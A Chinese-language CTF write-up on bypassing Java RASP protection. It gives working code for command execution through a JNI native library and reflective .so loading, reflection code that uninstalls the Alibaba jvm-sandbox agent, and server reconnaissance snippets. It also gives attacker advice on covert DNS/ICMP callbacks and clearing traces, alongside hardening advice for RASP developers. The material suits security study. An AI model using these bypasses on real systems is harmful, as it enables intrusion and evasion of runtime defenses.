强网拟态OnlineRunner JAVA绕过RASP分析
字数 1110 2025-08-23 18:31:09
Java RASP绕过技术分析与实践指南
1. RASP技术概述
RASP (Runtime Application Self-Protection) 是一种运行时应用程序自我保护技术,与传统WAF相比具有以下特点:
- 实现层级:嵌入在程序内部,实现更为底层
- 监控能力:实时监控危险函数调用并阻止
- 精准度:攻击行为识别更为精准
- 部署方式:通常使用Java Agent技术实现
Java RASP典型启动方式:
java -javaagent:agent.jar -jar web.jar
2. RASP绕过方法论
2.1 主要绕过思路
- 黑名单绕过:寻找未被限制的类或函数
- 底层技术绕过:从C代码层面进行绕过(如JNI)
2.2 JNI绕过技术详解
JNI (Java Native Interface) 允许Java调用本地代码(如C/C++),绕过RASP监控。
JNI绕过实现步骤:
-
编写Java类:定义native方法
public class NativeExec { public native void exec(String cmd); } -
生成头文件:
javac NativeExec.java javah NativeExec -
实现C代码:
#include <jni.h> #include <stdlib.h> JNIEXPORT void JNICALL Java_NativeExec_exec(JNIEnv *env, jobject obj, jstring cmd) { const char *command = (*env)->GetStringUTFChars(env, cmd, 0); system(command); (*env)->ReleaseStringUTFChars(env, cmd, command); } -
编译为动态库:
gcc -shared -fPIC -o libexec.so NativeExec.c -I${JAVA_HOME}/include -I${JAVA_HOME}/include/linux -
Java调用:
public class Main { static { System.loadLibrary("exec"); } public static void main(String[] args) { new NativeExec().exec("whoami"); } }
2.3 直接反射加载SO文件
try {
Class<?> runtimeClass = java.lang.Runtime.class;
Method load0 = runtimeClass.getDeclaredMethod("load0", Class.class, String.class);
load0.setAccessible(true);
Runtime runtimeInstance = Runtime.getRuntime();
load0.invoke(runtimeInstance, Main.class, "/path/to/library.so");
} catch (Exception e) {
e.printStackTrace();
}
3. RASP卸载技术
3.1 分析AgentLauncher源码
关键功能点:
premain和agentmain方法支持两种启动方式loadOrDefineClassLoader管理自定义类加载器install方法与代理核心服务器绑定uninstall方法清理资源
3.2 卸载RASP模块实现
try {
// 动态加载AgentLauncher类
Class<?> agentLauncherClass = Class.forName("com.alibaba.jvm.sandbox.agent.AgentLauncher");
// 获取并调用uninstall方法
Method uninstallMethod = agentLauncherClass.getDeclaredMethod("uninstall", String.class);
uninstallMethod.invoke(null, "default"); // "default"为命名空间
System.out.println("Sandbox卸载成功!");
} catch (Exception e) {
e.printStackTrace();
}
4. 实战案例:强网拟态OnlineRunner绕过
4.1 环境探测技术
-
文件读取获取配置信息:
try { FileReader fr = new FileReader("/proc/1/cmdline"); BufferedReader br = new BufferedReader(fr); String line; while ((line = br.readLine()) != null) { System.out.println(line); } br.close(); } catch (IOException e) { e.printStackTrace(); } -
目录列举:
File folder = new File("/"); File[] listOfFiles = folder.listFiles(); for (File file : listOfFiles) { if (file.isFile()) { System.out.println("File: " + file.getName()); } else if (file.isDirectory()) { System.out.println("Directory: " + file.getName()); } } -
JAR包内容查看:
try { ZipInputStream zis = new ZipInputStream(new FileInputStream("/app/app.jar")); ZipEntry entry; while ((entry = zis.getNextEntry()) != null) { System.out.println(entry.getName()); zis.closeEntry(); } zis.close(); } catch (IOException e) { e.printStackTrace(); }
4.2 Agent.jar文件下载与解码
import base64
data = ["UEsDBAoAAAAAAAsdRlkAAAAAAAA..."] # 截断的Base64数据
with open("agent.jar", "ab+") as f:
for i in data:
f.write(base64.b64decode(i))
5. 防御与对抗建议
5.1 针对RASP开发者的加固建议
- 监控JNI调用:增加对
System.loadLibrary等方法的监控 - 防止卸载:对关键类和方法进行保护,防止反射调用
- 完整性校验:检查自身是否被卸载或篡改
- 多层级防护:结合RASP与WAF形成纵深防御
5.2 针对攻击者的注意事项
- 环境适配:确保编译环境与目标JDK版本一致
- 隐蔽性:尽量使用不触发监控的API
- 回连方式:使用DNS或ICMP等隐蔽通道
- 清理痕迹:执行后清除临时文件和内存痕迹
6. 总结
本文详细分析了Java RASP的工作原理和绕过技术,重点介绍了JNI绕过和RASP卸载两种方法,并提供了实战案例。理解这些技术有助于安全研究人员更好地评估应用安全性,同时也帮助开发者构建更强大的运行时保护机制。
关键点回顾:
- JNI绕过是有效的RASP绕过手段
- 反射调用可以绕过部分Java安全限制
- 理解RASP实现原理是成功绕过的前提
- 环境信息收集是渗透测试的重要环节